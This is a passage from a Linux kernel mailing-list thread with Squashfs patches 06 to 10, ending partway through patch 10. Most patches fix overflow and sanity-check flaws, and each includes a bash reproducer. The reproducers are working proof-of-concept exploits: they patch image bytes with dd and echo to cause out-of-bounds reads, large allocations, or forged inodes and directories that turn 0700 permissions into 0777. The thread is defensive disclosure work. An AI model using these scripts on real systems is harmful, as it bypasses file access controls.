@ 2026-11-07 5:28 ` Phillip Lougher
2026-11-07 5:28 ` [PATCH 07/18] Squashfs: fix fragment bytes overflow on 32-bit architectures Phillip Lougher
` (11 subsequent siblings)
17 siblings, 0 replies; 19+ messages in thread
From: Phillip Lougher @ 2026-11-07 5:28 UTC (permalink / raw)
To: akpm, linux-kernel; +Cc: Phillip Lougher
Convert old fashioned #define macros into inline functions. This has
the following improvements:
1. Inline functions are typed, which makes the width and sigedness of
input and outputs explicit, which reduces errors.
2. The inline functions enable more sanity checking to be added in
later commits.
3. Inline functions are easier to read than #define macros, which
improves code comprehension.
Signed-off-by: Phillip Lougher <phillip@squashfs.org.uk>
---
fs/squashfs/squashfs_fs.h | 19 -----------------
fs/squashfs/squashfs_helpers.h | 37 ++++++++++++++++++++++++++++++++++
fs/squashfs/xattr.c | 18 ++++++++---------
fs/squashfs/xattr_id.c | 9 +++++----
4 files changed, 51 insertions(+), 32 deletions(-)
diff --git a/fs/squashfs/squashfs_fs.h b/fs/squashfs/squashfs_fs.h
index 25dd89a2c6ad..3e7d0730b2d9 100644
--- a/fs/squashfs/squashfs_fs.h
+++ b/fs/squashfs/squashfs_fs.h
@@ -107,25 +107,6 @@ static inline int squashfs_block_size(__le32 raw)
return (size >> 25) ? -EIO : size;
}
-/* xattr id lookup table defines */
-#define SQUASHFS_XATTR_BYTES(A) (((u64) (A)) * sizeof(struct squashfs_xattr_id))
-
-#define SQUASHFS_XATTR_BLOCK(A) (SQUASHFS_XATTR_BYTES(A) / \
- SQUASHFS_METADATA_SIZE)
-
-#define SQUASHFS_XATTR_BLOCK_OFFSET(A) (SQUASHFS_XATTR_BYTES(A) % \
- SQUASHFS_METADATA_SIZE)
-
-#define SQUASHFS_XATTR_BLOCKS(A) ((SQUASHFS_XATTR_BYTES(A) + \
- SQUASHFS_METADATA_SIZE - 1) / \
- SQUASHFS_METADATA_SIZE)
-
-#define SQUASHFS_XATTR_BLOCK_BYTES(A) (SQUASHFS_XATTR_BLOCKS(A) *\
- sizeof(u64))
-#define SQUASHFS_XATTR_BLK(A) ((unsigned int) ((A) >> 16))
-
-#define SQUASHFS_XATTR_OFFSET(A) ((unsigned int) ((A) & 0xffff))
-
/* cached data constants for filesystem */
#define SQUASHFS_CACHED_BLKS 8
diff --git a/fs/squashfs/squashfs_helpers.h b/fs/squashfs/squashfs_helpers.h
index b9c517a50642..4088e598400f 100644
--- a/fs/squashfs/squashfs_helpers.h
+++ b/fs/squashfs/squashfs_helpers.h
@@ -132,4 +132,41 @@ static inline s16 squashfs_id_block_bytes(u16 ids)
{
return squashfs_id_blocks(ids) * sizeof(long long);
}
+
+/* xattr id lookup table defines */
+static inline s64 squashfs_xattr_bytes(u32 xattrs)
+{
+ return (s64) xattrs * sizeof(struct squashfs_xattr_id);
+}
+
+static inline s32 squashfs_xattr_block(u32 xattrs)
+{
+ return squashfs_xattr_bytes(xattrs) / SQUASHFS_METADATA_SIZE;
+}
+
+static inline s16 squashfs_xattr_block_offset(u32 xattrs)
+{
+ return squashfs_xattr_bytes(xattrs) % SQUASHFS_METADATA_SIZE;
+}
+
+static inline s32 squashfs_xattr_blocks(u32 xattrs)
+{
+ return (squashfs_xattr_bytes(xattrs) + SQUASHFS_METADATA_SIZE - 1) /
+ SQUASHFS_METADATA_SIZE;
+}
+
+static inline s32 squashfs_xattr_block_bytes(u32 xattrs)
+{
+ return squashfs_xattr_blocks(xattrs) * sizeof(long long);
+}
+
+static inline u32 squashfs_xattr_blk(s64 xattr)
+{
+ return xattr >> 16;
+}
+
+static inline s16 squashfs_xattr_offset(s64 xattr)
+{
+ return xattr & 0xffff;
+}
#endif
diff --git a/fs/squashfs/xattr.c b/fs/squashfs/xattr.c
index ce6608cabd49..f9ef669544f8 100644
--- a/fs/squashfs/xattr.c
+++ b/fs/squashfs/xattr.c
@@ -19,6 +19,7 @@
#include "squashfs_fs.h"
#include "squashfs_fs_sb.h"
#include "squashfs_fs_i.h"
+#include "squashfs_helpers.h"
#include "squashfs.h"
static const struct xattr_handler *squashfs_xattr_handler(int);
@@ -29,9 +30,9 @@ ssize_t squashfs_listxattr(struct dentry *d, char *buffer,
struct inode *inode = d_inode(d);
struct super_block *sb = inode->i_sb;
struct squashfs_sb_info *msblk = sb->s_fs_info;
- u64 start = SQUASHFS_XATTR_BLK(squashfs_i(inode)->xattr)
- + msblk->xattr_table;
- int offset = SQUASHFS_XATTR_OFFSET(squashfs_i(inode)->xattr);
+ u64 start = squashfs_xattr_blk(squashfs_i(inode)->xattr)
+ + msblk->xattr_table;
+ int offset = squashfs_xattr_offset(squashfs_i(inode)->xattr);
int count = squashfs_i(inode)->xattr_count;
size_t rest = buffer_size;
int err;
@@ -107,14 +108,13 @@ static int squashfs_xattr_get(struct inode *inode, int name_index,
{
struct super_block *sb = inode->i_sb;
struct squashfs_sb_info *msblk = sb->s_fs_info;
- u64 start = SQUASHFS_XATTR_BLK(squashfs_i(inode)->xattr)
- + msblk->xattr_table;
- int offset = SQUASHFS_XATTR_OFFSET(squashfs_i(inode)->xattr);
+ u64 start = squashfs_xattr_blk(squashfs_i(inode)->xattr)
+ + msblk->xattr_table;
+ int offset = squashfs_xattr_offset(squashfs_i(inode)->xattr);
int count = squashfs_i(inode)->xattr_count;
int name_len = strlen(name);
int err, vsize;
char *target = kmalloc(name_len, GFP_KERNEL);
-
if (target == NULL)
return -ENOMEM;
@@ -158,9 +158,9 @@ static int squashfs_xattr_get(struct inode *inode, int name_index,
if (err < 0)
goto failed;
xattr = le64_to_cpu(xattr_val);
- start = SQUASHFS_XATTR_BLK(xattr) +
+ start = squashfs_xattr_blk(xattr) +
msblk->xattr_table;
- offset = SQUASHFS_XATTR_OFFSET(xattr);
+ offset = squashfs_xattr_offset(xattr);
}
/* read xattr value */
err = squashfs_read_metadata(sb, &val, &start, &offset,
diff --git a/fs/squashfs/xattr_id.c b/fs/squashfs/xattr_id.c
index c8469c656e0d..ff85247e2d80 100644
--- a/fs/squashfs/xattr_id.c
+++ b/fs/squashfs/xattr_id.c
@@ -19,6 +19,7 @@
#include "squashfs_fs.h"
#include "squashfs_fs_sb.h"
+#include "squashfs_helpers.h"
#include "squashfs.h"
#include "xattr.h"
@@ -29,8 +30,8 @@ int squashfs_xattr_lookup(struct super_block *sb, unsigned int index,
int *count, unsigned int *size, unsigned long long *xattr)
{
struct squashfs_sb_info *msblk = sb->s_fs_info;
- int block = SQUASHFS_XATTR_BLOCK(index);
- int offset = SQUASHFS_XATTR_BLOCK_OFFSET(index);
+ int block = squashfs_xattr_block(index);
+ int offset = squashfs_xattr_block_offset(index);
u64 start_block;
struct squashfs_xattr_id id;
int err;
@@ -79,8 +80,8 @@ __le64 *squashfs_read_xattr_id_table(struct super_block *sb, u64 table_start,
if (*xattr_ids == 0)
return ERR_PTR(-EINVAL);
- len = SQUASHFS_XATTR_BLOCK_BYTES(*xattr_ids);
- indexes = SQUASHFS_XATTR_BLOCKS(*xattr_ids);
+ len = squashfs_xattr_block_bytes(*xattr_ids);
+ indexes = squashfs_xattr_blocks(*xattr_ids);
/*
* The computed size of the index table (len bytes) should exactly
--
2.47.3
^ permalink raw reply [flat|nested] 19+ messages in thread* [PATCH 07/18] Squashfs: fix fragment bytes overflow on 32-bit architectures
2026-11-07 5:28 [PATCH 00/18] Squashfs: fix a lot of AI issues and AI style issues Phillip Lougher
` (5 preceding siblings ...)
2026-11-07 5:28 ` [PATCH 06/18] Squashfs: convert SQUASHFS_XATTR_* " Phillip Lougher
@ 2026-11-07 5:28 ` Phillip Lougher
2026-11-07 5:28 ` [PATCH 08/18] Squashfs: fix fragment index table length too large exploit Phillip Lougher
` (10 subsequent siblings)
17 siblings, 0 replies; 19+ messages in thread
From: Phillip Lougher @ 2026-11-07 5:28 UTC (permalink / raw)
To: akpm, linux-kernel; +Cc: Phillip Lougher
In helper function squashfs_fragment_bytes() the u32 fragments
variable is multiplied by sizeof(struct squashfs_fragment_enty).
On a 32-bit architecture the type of sizeof() is a 32-bit unsigned
integer, which means the computation will overflow for fragments
values above 268435455.
The knock-on effect is the size of the in memory fragment index
table will be incorrectly computed, and a much smaller than expected
index table will be allocated and read into memory.
Later when a fragment index beyond this is looked up in this table,
this will produce an out of bounds access.
The fix is to explicitly widen the fragments variable to a long long
in the squashfs_fragment_bytes() helper function.
Reproducer
=========
The following script when run on a 32-bit x86 kernel (which lacks
KASAN support) will produce an I/O error. On a 32-bit ARM kernel
with KASAN enabled, the out of bounds access will also produce a
KASAN report.
[ 193.817260] ==================================================================
[ 193.818057] BUG: KASAN: slab-out-of-bounds in squashfs_frag_lookup+0x23c/0x264
[ 193.820408] Read of size 8 at addr cc126708 by task stat/357
[ 193.820720]
[ 193.821675] CPU: 3 UID: 0 PID: 357 Comm: stat Not tainted 7.2.0-13187-g66498c75b4f8 #113 VOLUNTARY
=================================================================
#!/bin/bash
ARGS="-no-duplicates -no-sparse -no-hardlinks -quiet -no-progress"
finish() {
popd 2>&1 > /dev/null
rm -rf $DIR
exit 1
}
# Create a Squashfs filesystem with 1026 files and 513 fragments.
# This will create a two entry Squashfs fragment index table.
#
DIR=$(mktemp -d)
pushd $DIR 2>&1 > /dev/null
# Create a Squashfs pseudo file which is fed to Mksquashfs
echo Create a Squashfs pseudo file which is fed to Mksquashfs
dd if=/dev/urandom of=urandom bs=1024 count=50 status=none
for i in $(seq 1 1026); do
echo "$i l urandom" >> pseudo
done
# Create the Squashfs filesystem
echo Create the Squashfs filesystem
if ! mksquashfs - img.sqsh -pf pseudo -p "/ d 0777 0 0" $ARGS; then
echo Failed to create Squashfs filesystem
finish
fi
# The fragments field (fragment count) in the superblock is at offset
# 16 bytes.
#
# Over-write the fragments count with 268,435,457 little-endian. On a
# 32-bit architecture, this when multiplied by 16 will overflow, giving
# the value 16.
#
# Ultimately this will cause the kernel code to create and read a single
# entry index table (where in fact the table has two entries).
#
# Then stating file 999 which has a fragment id in the second index,
# will cause an out of bounds access.
# Write 268,435,457 in little-endian format to file
/usr/bin/echo -en "\x01\x00\x00\x10" > file
# Over-write the fragments count in the superblock
echo Over-write the fragments count in the superblock
dd bs=1 seek=16 if=file of=img.sqsh count=4 conv=notrunc status=none
# Mount the filesystem to /mnt
echo Mount the filesystem to /mnt
if ! mount -t squashfs img.sqsh /mnt; then
echo Mount of Squashfs filesystem failed
finish
fi
# Stat file 999
echo Stat file 999
stat /mnt/999
popd 2>&1 > /dev/null
rm -rf $DIR
=================================================================
Fixes: ffae2cd73a9e ("Squashfs: header files")
Signed-off-by: Phillip Lougher <phillip@squashfs.org.uk>
---
fs/squashfs/squashfs_helpers.h | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/fs/squashfs/squashfs_helpers.h b/fs/squashfs/squashfs_helpers.h
index 4088e598400f..524d4a77686d 100644
--- a/fs/squashfs/squashfs_helpers.h
+++ b/fs/squashfs/squashfs_helpers.h
@@ -55,7 +55,7 @@ static inline s64 squashfs_mkinode(u32 start, u16 offset)
/* fragment and fragment table defines */
static inline s64 squashfs_fragment_bytes(u32 fragments)
{
- return fragments * sizeof(struct squashfs_fragment_entry);
+ return (s64) fragments * sizeof(struct squashfs_fragment_entry);
}
static inline s32 squashfs_fragment_index(u32 fragments)
--
2.47.3
^ permalink raw reply [flat|nested] 19+ messages in thread* [PATCH 08/18] Squashfs: fix fragment index table length too large exploit
2026-11-07 5:28 [PATCH 00/18] Squashfs: fix a lot of AI issues and AI style issues Phillip Lougher
` (6 preceding siblings ...)
2026-11-07 5:28 ` [PATCH 07/18] Squashfs: fix fragment bytes overflow on 32-bit architectures Phillip Lougher
@ 2026-11-07 5:28 ` Phillip Lougher
2026-11-07 5:28 ` [PATCH 09/18] Squashfs: sanity check inode metadata block location Phillip Lougher
` (9 subsequent siblings)
17 siblings, 0 replies; 19+ messages in thread
From: Phillip Lougher @ 2026-11-07 5:28 UTC (permalink / raw)
To: akpm, linux-kernel; +Cc: Phillip Lougher
An attacker can manipulate the fragment count and the fragment table
start values in the superblock, and force the code to kmalloc()
a 4 Mbyte memory region, or try to allocate larger values which
will fail with a warning, and which will panic the kernel if panic on
warn is set.
If the allocation succeeds, these invalid values will be caught when the
code tries to read the data from disk, but, this leaves a small time
window where the 4 Mbyte block is allocated before being freed when
the mount of the filesystem fails.
The exploit relies on arithmetic overflow to evade the following sanity
check:
if (fragment_table_start + length > next_table)
Specifically, the values of fragment_table_start and length can be
chosen so that they overflow an unsigned long long, and so appear less
than next_table.
Typically, the maximum memory that can be allocated with kmalloc() is
4 Mbytes. So if length is 4 Mbytes, this means fragment_table_start
needs to be 2^64 - 4 Mbytes, to achieve overflow and produce a zero
length.
This value is beyond the end of any block device, because the maximum
block device is 2^63 - 512 in size (LLONG_MAX >> 9 sectors of 512
bytes).
In practice this means such a large value will be caught when the code
immediately after allocation tries to read the data off disk:
table = squashfs_read_table(sb, fragment_table_start, length);
However, the code should check for validity before allocating a large
kmalloc() area, because such allocations can cause memory pressure or
cause the kernel to panic.
This commit checks that fragment_tables_size is not too large, and
ensures arithmetic overflow does not occur.
It also makes the sanity check more exacting by utilising the fact that
there should be zero gap between the end of the fragment index table and
the next table.
Reproducer
=========
The following script if the eploit works, will fail with the mount
error
mount: attempt to access beyond end of device
=================================================================
#!/bin/bash
ARGS="-quiet -no-progress"
finish() {
popd 2>&1 > /dev/null
rm -rf $DIR
exit 1
}
# Create a Squashfs filesystem with a single file.
#
DIR=$(mktemp -d)
pushd $DIR 2>&1 > /dev/null
echo Create the Squashfs filesystem
if ! mksquashfs - img.sqsh -p "/ d 0777 0 0" -p "/file f 0777 0 0 echo hello" $ARGS; then
echo Failed to create Squashfs filesystem
finish
fi
# The fragments field (fragment count) in the superblock is at offset
# 16 bytes.
#
# Over-write the fragments count with 268,435,456 little-endian.
# This will make the kernel try to kmalloc() 4 Mbytes to hold the
# fragment index table.
#
# Write 268,435,456 in little-endian format to file
/usr/bin/echo -en "\x00\x00\x00\x10" > file
# Over-write the fragments count in the superblock
echo Over-write the fragments count in the superblock
dd bs=1 seek=16 if=file of=img.sqsh count=4 conv=notrunc status=none
# The fragment table start (start of the index table) in the superblock
# is at offset 72 bytes.
#
# Over-write the value with 2^64 - 4 Mbytes little-endian.
# This value with the index table length will overflow an unsigned
# long long, giving the value 0. This will evade the sanity check.
# Write 2^64 - 4 Mbytes in little-endian format to file
/usr/bin/echo -en "\x00\x00\xc0\xff\xff\xff\xff\xff" > file
# Over-write the fragment table start in the superblock
echo Over-write the fragment table start in the superblock
dd bs=1 seek=80 if=file of=img.sqsh count=8 conv=notrunc status=none
# Mount the filesystem to /mnt
echo Mount the filesystem to /mnt
# If the eploit works, the mount will fail with
# mount: attempt to access beyond end of device
if ! mount -t squashfs img.sqsh /mnt; then
echo Mount of Squashfs filesystem failed
finish
fi
popd 2>&1 > /dev/null
rm -rf $DIR
=================================================================
Fixes: 1cac63cc9b2f ("Squashfs: add sanity checks to fragment reading at mount time")
Signed-off-by: Phillip Lougher <phillip@squashfs.org.uk>
---
fs/squashfs/fragment.c | 8 ++++----
1 file changed, 4 insertions(+), 4 deletions(-)
diff --git a/fs/squashfs/fragment.c b/fs/squashfs/fragment.c
index e945d045d55e..9f63e5b5c513 100644
--- a/fs/squashfs/fragment.c
+++ b/fs/squashfs/fragment.c
@@ -68,11 +68,11 @@ __le64 *squashfs_read_fragment_index_table(struct super_block *sb,
__le64 *table;
/*
- * Sanity check, length bytes should not extend into the next table -
- * this check also traps instances where fragment_table_start is
- * incorrectly larger than the next table start
+ * The computed size of the index table (length bytes) should exactly
+ * match the table start and end points
*/
- if (fragment_table_start + length > next_table)
+ if (fragment_table_start >= next_table ||
+ length != (next_table - fragment_table_start))
return ERR_PTR(-EINVAL);
table = squashfs_read_table(sb, fragment_table_start, length);
--
2.47.3
^ permalink raw reply [flat|nested] 19+ messages in thread* [PATCH 09/18] Squashfs: sanity check inode metadata block location
2026-11-07 5:28 [PATCH 00/18] Squashfs: fix a lot of AI issues and AI style issues Phillip Lougher
` (7 preceding siblings ...)
2026-11-07 5:28 ` [PATCH 08/18] Squashfs: fix fragment index table length too large exploit Phillip Lougher
@ 2026-11-07 5:28 ` Phillip Lougher
2026-11-07 5:28 ` [PATCH 10/18] Squashfs: sanity check directory " Phillip Lougher
` (8 subsequent siblings)
17 siblings, 0 replies; 19+ messages in thread
From: Phillip Lougher @ 2026-11-07 5:28 UTC (permalink / raw)
To: akpm, linux-kernel; +Cc: Phillip Lougher
An inode reference in Squashfs is represented as a tuple, the location
of the compressed metadata block the inode is in, and the offset into
the uncompressed block. The location is not absolute and it is instead
encoded as an offset from the start of the inode table.
An attacker could manipulate the inode reference to make it point to a
replacement malicious inode stored elsewhere, outside the inode table.
This is because the code does not check that the location is valid and
is within the inode table.
In practice this exploit is hard to achieve because metadata in Squashfs
is compressed by default, and so the compressed metadata cannot be
directly altered. In addition due to sanity checking at mount time
there are no gaps in the filesystem to hide a malicious inode.
Also anyone with access to Mksquahfs/Unsquashfs can copy and recreate
the filesystem incorporating whatever changes they want.
However there are a number of exploit scenarios here. Many embedded
systems or secure systems have deliberately restricted installations
with only basic tools, and lack any Mksquashfs/Unsquashfs. But exploits
due to this bug can be achieved with only echo and dd.
An example exploit is where a Squashfs filesystem root directory has
permissions 0700 (u=rxw), where only the superuser can enter the
directory and access the content within. But using this bug an attacker
could place a malicious root inode in the inode lookup table (used by
NFS) which has the permissions changed to 0777 (a=rwx), and then update
the root_inode field in the superblock to point to that. On
reboot/remount this will make the directory accesisible to unprivileged
users.
The following shell script acts as a reproducer and proof of concept.
This commit blocks such attempts by adding a new helper
squashfs_inode_start() which adds additional sanity checking, first
ensuring no arithmetic operations overflow, and second checking that
the inode is within the inode table.
Reproducer
==========
The following Bash script uses echo and dd to achieve the previously
discussed exploit. If the exploit is successful the root directory
permisions will be changed to 0777 (a=rwx), but otherwise the filesystem
is unchanged.
======================================================================
#!/bin/bash
ARGS="-no-sparse -no-hardlinks -no-progress -quiet -inode-time 0 -mkfs-time 0"
finish() {
popd 2>&1 > /dev/null
rm -rf $DIR
exit 1
}
DIR=$(mktemp -d)
pushd $DIR 2>&1 > /dev/null
# Create a Squashfs pseudo file which is fed to Mksquashfs
echo Create a Squashfs pseudo file which is fed to Mksquashfs
dd if=/dev/zero of=zero bs=1024 count=1 status=none
for i in $(seq 1 100); do
echo "$i l zero" >> pseudo
done
# Create a Squashfs filesystem with the root directory permissions u=rwx (0700)
echo "Create a Squashfs filesystem with the root directory permissions u=rwx (0700)"
if ! mksquashfs - img.sqsh -pf pseudo -p "/ d 0700 0 0" $ARGS; then
echo Failed to create Squashfs filesystem
finish
fi
# The root_inode field in the superblock points to the compressed metadata
# block and offset within it, where the root inode is stored.
#
# Create a malicious root inode and hide it in the inode lookup table.
# Because of mount time checking, there are no gaps between metadata tables
# where it can be hidden, and it can't be hidden after the file system end,
# because this is checked.
# Write malicious inode, this is the same as the original root inode, except
# it is uncompressed, and the permissions are set to 0777.
/usr/bin/echo -en "\x20\x80\x01\x00\xff\x01\x00\x00\x00\x00\x00\x00\x00\x00\
\x65\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\xec\x03\x00\x00\x00\x00\x00\
\x00" > file
# Place new root inode inside the inode lookup table
echo Place new root inode inside the inode lookup table
dd bs=1 seek=960 if=file of=img.sqsh count=34 conv=notrunc status=none
# Update the root_inode field in the superblock to point to our new inode
# The start block is an offset from the inode_table_start, and not an
# absolute value. The start of the inode table is 113, the new inode
# is placed at position 964, and so the offset is 851. Because we've only
# stored one inode in the metadata block, the offset into that block is 0.
#
echo Update the root_inode field in the superblock to point to our new inode
/usr/bin/echo -en "\x00\x00\x4f\x03" > file
dd bs=1 seek=32 if=file of=img.sqsh count=4 conv=notrunc status=none
# Mount the filesystem to /mnt
echo Mount the filesystem to /mnt
if ! mount -t squashfs img.sqsh /mnt; then
echo Mount of Squashfs filesystem failed
finish
fi
# Stat /mnt, if the exploit is successful, permissions should be 0777
echo Stat /mnt, if the exploit is successful, permissions should be 0777
stat /mnt
popd 2>&1> /dev/null
rm -rf $DIR
======================================================================
Fixes: 6545b246a2c8 (" Squashfs: inode operations")
Signed-off-by: Phillip Lougher <phillip@squashfs.org.uk>
---
fs/squashfs/inode.c | 13 ++++++-------
fs/squashfs/squashfs_helpers.h | 18 ++++++++++++++++++
2 files changed, 24 insertions(+), 7 deletions(-)
diff --git a/fs/squashfs/inode.c b/fs/squashfs/inode.c
index 73232582aca2..03e88c5b545a 100644
--- a/fs/squashfs/inode.c
+++ b/fs/squashfs/inode.c
@@ -109,8 +109,8 @@ int squashfs_read_inode(struct inode *inode, long long ino)
{
struct super_block *sb = inode->i_sb;
struct squashfs_sb_info *msblk = sb->s_fs_info;
- u64 block = squashfs_inode_blk(ino) + msblk->inode_table;
- int offset = squashfs_inode_offset(ino);
+ s64 block = squashfs_inode_start(msblk, ino), sblock = block;
+ int offset = squashfs_inode_offset(ino), soffset = offset;
int err, type;
union squashfs_inode squashfs_ino;
struct squashfs_base_inode *sqshb_ino = &squashfs_ino.base;
@@ -118,11 +118,13 @@ int squashfs_read_inode(struct inode *inode, long long ino)
TRACE("Entered squashfs_read_inode\n");
+ if (block < 0)
+ goto failed_read;
/*
* Read inode base common to all inode types.
*/
- err = squashfs_read_metadata(sb, sqshb_ino, &block,
- &offset, sizeof(*sqshb_ino));
+ err = squashfs_read_metadata(sb, sqshb_ino, &sblock,
+ &soffset, sizeof(*sqshb_ino));
if (err < 0)
goto failed_read;
@@ -130,9 +132,6 @@ int squashfs_read_inode(struct inode *inode, long long ino)
if (err)
goto failed_read;
- block = squashfs_inode_blk(ino) + msblk->inode_table;
- offset = squashfs_inode_offset(ino);
-
type = le16_to_cpu(sqshb_ino->inode_type);
switch (type) {
case SQUASHFS_REG_TYPE: {
diff --git a/fs/squashfs/squashfs_helpers.h b/fs/squashfs/squashfs_helpers.h
index 524d4a77686d..662ebf464d3c 100644
--- a/fs/squashfs/squashfs_helpers.h
+++ b/fs/squashfs/squashfs_helpers.h
@@ -47,6 +47,24 @@ static inline u16 squashfs_inode_offset(s64 inode)
return inode & 0xffff;
}
+static inline s64 squashfs_inode_start(struct squashfs_sb_info *msblk, s64 inode)
+{
+ s64 start;
+
+ if (inode < 0)
+ return -EINVAL;
+
+ if (S64_MAX - msblk->inode_table < squashfs_inode_blk(inode))
+ return -EINVAL;
+
+ start = msblk->inode_table + squashfs_inode_blk(inode);
+
+ if (start >= msblk->directory_table)
+ return -EINVAL;
+
+ return start;
+}
+
static inline s64 squashfs_mkinode(u32 start, u16 offset)
{
return ((s64)start << 16) | offset;
--
2.47.3
^ permalink raw reply [flat|nested] 19+ messages in thread* [PATCH 10/18] Squashfs: sanity check directory metadata block location
2026-11-07 5:28 [PATCH 00/18] Squashfs: fix a lot of AI issues and AI style issues Phillip Lougher
` (8 preceding siblings ...)
2026-11-07 5:28 ` [PATCH 09/18] Squashfs: sanity check inode metadata block location Phillip Lougher
@ 2026-11-07 5:28 ` Phillip Lougher
2026-11-07 5:28 ` [PATCH 11/18] Squashfs: widen xattr count variables and add sanity check Phillip Lougher
` (7 subsequent siblings)
17 siblings, 0 replies; 19+ messages in thread
From: Phillip Lougher @ 2026-11-07 5:28 UTC (permalink / raw)
To: akpm, linux-kernel; +Cc: Phillip Lougher
The contents of directories are stored in compressed metadata blocks,
which are placed in the directory table. The location of a directory
is thus represented as a tuple, the location of the compressed metadata
block that the directory is in, and the offset into the uncompressed
block. The block location is not absolute, and it is instead encoded
as an offset from the start of the directory table.
An attacker could manipulate the directory block location to make it
point to a replacement malicious directory stored elsewhere, outside
the directory table. This is because the code does not check that the
location is valid and is within the directory table.
In practice this exploit is hard to achieve because metadata in Squashfs
is compressed by default, and so the compressed metadata cannot be
directly altered. In addition due to sanity checking at mount time
there are no gaps in the filesystem to store a malicious directory.
Also anyone with access to Mksquashfs/Unsquashfs can copy and recreate
the filesystem incorporating whatever changes they want.
However, there are a number of exploit scenarios here. Many embedded
systems or secure systems have deliverately restricted installations
with only basic tools, and lack any Mksquashfs/Unsquashfs. But exploits
due to this bug can be achieved with only echo and dd.
An example exploit is where a Squashfs filesystem has a file in the
root directory with permissions 0700 (u=rxw), where only the superuser
can read it. But using this bug an attacker could create a malicious
replacement directory in the inode lookup table (used by NFS), that
points to a malicious replacement inode that has the permissions
changed to 0777 (a=wrx). On reboot/remount this would make the
file readable by unpriviliged users.
The following shell script acts as a reproducer and proof of concept.
This commit blocks such attempts by adding a new helper
squashfs_dir_start() which adds additional sanity checking, first
ensuring no arithmetic operations overflow, and second checking that
the directory is within the directory table.
Reproducer
==========
The following Bash script uses echo and dd to achieve the previously
discussed exploit. If the exploit is successful the file "data"
permissions will be changed to 0777 (a=rwx), but otherwise the
filesystem is unchanged.
===================================================================
#!/bin/bash
ARGS="-no-sparse -no-hardlinks -no-progress -quiet -inode-time 0 -mkfs-time 0"
finish() {
popd 2>&1 > /dev/null
rm -rf $DIR
exit 1
}
DIR=$(mktemp -d)
pushd $DIR 2>&1 > /dev/null
# Create a Squashfs pseudo file which is fed to Mksquashfs
echo Create a Squashfs pseudo file which is fed to Mksquashfs
dd if=/dev/zero of=zero bs=1024 count=1 status=none
echo "data f 0700 0 0 echo some data" >> pseudo
echo "files d 0777 0 0" >> pseudo
for i in $(seq 1 100); do
echo "files/$i f 0655 1000 1000 cat zero" >> pseudo
done
# Create a Squashfs filesystem
echo "Create a Squashfs filesystem"
if ! mksquashfs - img.sqsh -pf pseudo -p "/ d 0777 0 0" $ARGS; then
echo Failed to create Squashfs filesystem
finish
fi
# Exploit: The file named "data" has permissions 0700, which can only be
# read by the superuser. The desire is to change the permissions on
# the file to be 0777, which can be read by unpriviliged users.
#
# Due to compression of the metadata, this cannot be done by directly
# writing to the metadata tables. Instead the real metadata is replaced
# by malicious metadata starting from the "data" file inode upwards to
# the root inode.
#
# This is a three step process.
#
# 1. A new "data" file inode is placed within the inode lookup table
# 2. A new root directory which points to the new "data" file inode is
# placed in the inode lookup table
# 3. A new root inode which pounts to the new root directory table is
# placed in the inode lookup table.
#
# For brevity this reproducer uses pre-computed data for the above.
# Write malicious inode for file "data", this is the same as the
# original except it is uncompressed, and the permissions are set to
# 0777.
echo Writing malicious inode for file \"data\"
/usr/bin/echo -en "\x20\x80\x02\x00\xFF\x01\x00\x00\x00\x00\x00\x00\
\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\
\x00\x0A\x00\x00\x00" > file
dd bs=1 seek=1034 if=file of=img.sqsh count=34 conv=notrunc status=none
# Write directory data which points to the malicious inode
echo Writing root directory which points to malicious inode
/usr/bin/echo -en "\x31\x80\x00\x00\x00\x00\x90\x03\x00\x00\x01\x00\x00\
\x00\x00\x00\x00\x00\x02\x00\x03\x00\x64\x61\x74\x61\x00\x00\x00\x00\
\x00\x00\x00\x00\x02\x00\x00\x00\xA0\x0C\x00\x00\x01\x00\x04\x00\x66\
\x69\x6c\x65\x73" > file
dd bs=1 seek=983 if=file of=img.sqsh count=51 conv=notrunc status=none
#
# Write root inode, this is the same as the original root inode, except
# it is uncompressed, and it points to the new directory data
echo Writing root inode which points to the new root directory
/usr/bin/echo -en "\x20\x80\x01\x00\xFF\x01\x00\x00\x00\x00\x00\x00\
\x00\x00\x67\x00\x00\x00\x43\x02\x00\x00\x03\x00\x00\x00\x34\x00\x00\
\x00\x00\x00\x00\x00" > file
dd bs=1 seek=949 if=file of=img.sqsh count=34 conv=notrunc status=none
# Update the root_inode field in the superblock to point to our new
# root inode. The start block is an offset from the inode_table_start,
# and not an absolute value. The start of the inode table is 122, the
# new inode is placed at position 949, and so the offset is 827. Because
# we've only stored one inode in the metadata block, the offset into
# that block is 0.
echo Updating the root_inode field in the superblock
/usr/bin/echo -en "\x00\x00\x3B\x03" > file
dd bs=1 seek=32 if=file of=img.sqsh count=4 conv=notrunc status=none
# Mount the filesystem to /mnt
echo Mount the filesystem to /mnt
if ! mount -t squashfs img.sqsh /mnt; then
echo Mount of Squashfs filesystem failed
finish
fi
# Stat /mnt/data, if the exploit is successful, permissions should be 0777
echo "************************************************************************"
echo Stat /mnt/data, if the exploit is successful, permissions should be 0777
stat /mnt/data
popd 2>&1> /dev/null
rm -rf $DIR
=====================================================================
Fixes: c88da2c979369 ("Squashfs: directory lookup operations")
Signed-off-by: Phillip Lougher <phillip@squashfs.org.uk>
---
fs/squashfs/dir.c | 20 ++++++++++++++------
fs/squashfs/namei.c | 18 ++++++++++++------
fs/squashfs/squashfs_fs_sb.h | 1 +
fs/squashfs/squashfs_helpers.h | 16 ++++++++++++++++
fs/squashfs/super.c | 1 +
5 files changed, 44 insertions(+), 12 deletions(-)
diff --git a/fs/squashfs/dir.c b/fs/squashfs/dir.c
index cd3598bd034f..f6454f0d5b5c 100644
--- a/fs/squashfs/dir.c
+++ b/fs/squashfs/dir.c
@@ -22,6 +22,7 @@
#include "squashfs_fs.h"
#include "squashfs_fs_sb.h"
#include "squashfs_fs_i.h"
+#include "squashfs_helpers.h"
#include "squashfs.h"
static const unsigned char squashfs_filetype_table[] = {
@@ -41,6 +42,7 @@ static int get_dir_index_using_offset(struct super_block *sb,
int i_count, u64 f_pos)
{
struct squashfs_sb_info *msblk = sb->s_fs_info;
+ s64 res;
int err, i, index, length = 0;
unsigned int size;
struct squashfs_dir_index dir_index;
@@ -81,9 +83,12 @@ static int get_dir_index_using_offset(struct super_block *sb,
if (err < 0)
break;
+ res = squashfs_dir_start(le32_to_cpu(dir_index.start_block), msblk);
+ if (res < 0)
+ break;
+
length = index;
- *next_block = le32_to_cpu(dir_index.start_block) +
- msblk->directory_table;
+ *next_block = res;
}
